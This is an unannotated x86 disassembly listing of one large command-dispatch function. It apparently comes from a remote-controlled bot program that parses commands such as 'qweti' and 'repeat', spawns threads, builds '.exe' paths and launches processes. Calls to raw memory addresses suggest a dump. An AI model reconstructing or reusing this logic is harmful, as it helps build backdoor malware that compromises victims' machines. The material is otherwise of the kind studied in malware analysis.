		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E380[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E598
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+arg_10]
		call	dword_4CB684
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset byte_40C669
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_42ABC8
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AB
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42AA54
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA28
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_42A9E8
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A9AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset word_414A92
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A974
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A944
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset byte_4137CD
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A90C
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8DC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset dword_412A54
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A8A4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A874
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42A838
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A80C
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset word_412E9E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_408224


loc_408212:				; CODE XREF: sub_401ACD+6755j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_408212
; ---------------------------------------------------------------------------


loc_408224:				; CODE XREF: sub_401ACD+6743j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A7D4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_408235:				; CODE XREF: sub_401ACD+6684j
		push	offset unk_42A79C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40823F:				; CODE XREF: sub_401ACD+4B56j
					; sub_401ACD+4B6Dj
		push	edi
		push	[ebp+arg_10]
		call	near ptr 26C0BBFh
		nop
		test	eax, eax
		jz	short loc_40826C
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A778
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828C
; ---------------------------------------------------------------------------


loc_40826C:				; CODE XREF: sub_401ACD+677Ej
		push	offset dword_42A76C
		call	sub_41814D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408289:				; CODE XREF: sub_401ACD+2F2Bj
					; sub_401ACD+5570j
		add	esp, 0Ch


loc_40828C:				; CODE XREF: sub_401ACD+2137j
					; sub_401ACD+2ECDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A9:				; CODE XREF: sub_401ACD+57C7j
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4082B6:				; CODE XREF: sub_401ACD+4B28j
					; sub_401ACD+4B3Fj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082F0
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082F0
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082F0:				; CODE XREF: sub_401ACD+6803j
					; sub_401ACD+6812j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A73C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset word_416CAE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4083A2


loc_408390:				; CODE XREF: sub_401ACD+68D3j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BD
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_408390
; ---------------------------------------------------------------------------


loc_4083A2:				; CODE XREF: sub_401ACD+68C1j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A700


loc_4083AE:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BD:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4083C5:				; CODE XREF: sub_401ACD+4AFAj
					; sub_401ACD+4B11j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408404
		mov	[ebp+var_638], 5


loc_408404:				; CODE XREF: sub_401ACD+692Cj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDF
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2680CABh
		test	eax, eax
		jnz	short loc_40844D
		push	offset unk_42A6DC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_401ACD+6974j
		push	edi
		push	offset dword_42A6C0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408458:				; CODE XREF: sub_401ACD+4ACCj
					; sub_401ACD+4AE3j
		push	edi
		push	offset aQweti	; "qweti"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D1
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		call	near ptr 26C0000h
		nop
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD81
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084ED
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F3
; ---------------------------------------------------------------------------


loc_4084ED:				; CODE XREF: sub_401ACD+6A0Aj
		mov	[ebp+var_23C0],	ebx


loc_4084F3:				; CODE XREF: sub_401ACD+6A1Ej
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40850A
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408510
; ---------------------------------------------------------------------------


loc_40850A:				; CODE XREF: sub_401ACD+6A2Cj
		mov	[ebp+var_23C4],	ebx


loc_408510:				; CODE XREF: sub_401ACD+6A3Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A688
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163FA
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4085C0


loc_4085AA:				; CODE XREF: sub_401ACD+6AF1j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDF
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4085AA
; ---------------------------------------------------------------------------


loc_4085C0:				; CODE XREF: sub_401ACD+6ADBj
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset dword_42A64C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: sub_401ACD+699Aj
		push	offset dword_42A604


loc_4085D6:				; CODE XREF: sub_401ACD+2E74j
					; sub_401ACD+457Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_4085E9:				; CODE XREF: sub_401ACD+4A9Ej
					; sub_401ACD+4AB5j
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408674
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 2690F63h
		nop


loc_408674:				; CODE XREF: sub_401ACD+6B8Fj
		push	offset dword_42A5E0
		call	sub_4151AD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408688:				; CODE XREF: sub_401ACD+4A70j
					; sub_401ACD+4A87j
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408746
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408746:				; CODE XREF: sub_401ACD+6BFBj
		push	offset unk_42A594


loc_40874B:				; CODE XREF: sub_401ACD+7543j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40875A:				; CODE XREF: sub_401ACD+74CBj
					; sub_401ACD+7624j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40877B:				; CODE XREF: sub_401ACD+6C90j
					; sub_401ACD+72C8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40878C:				; CODE XREF: sub_401ACD+4A42j
					; sub_401ACD+4A59j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A560
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
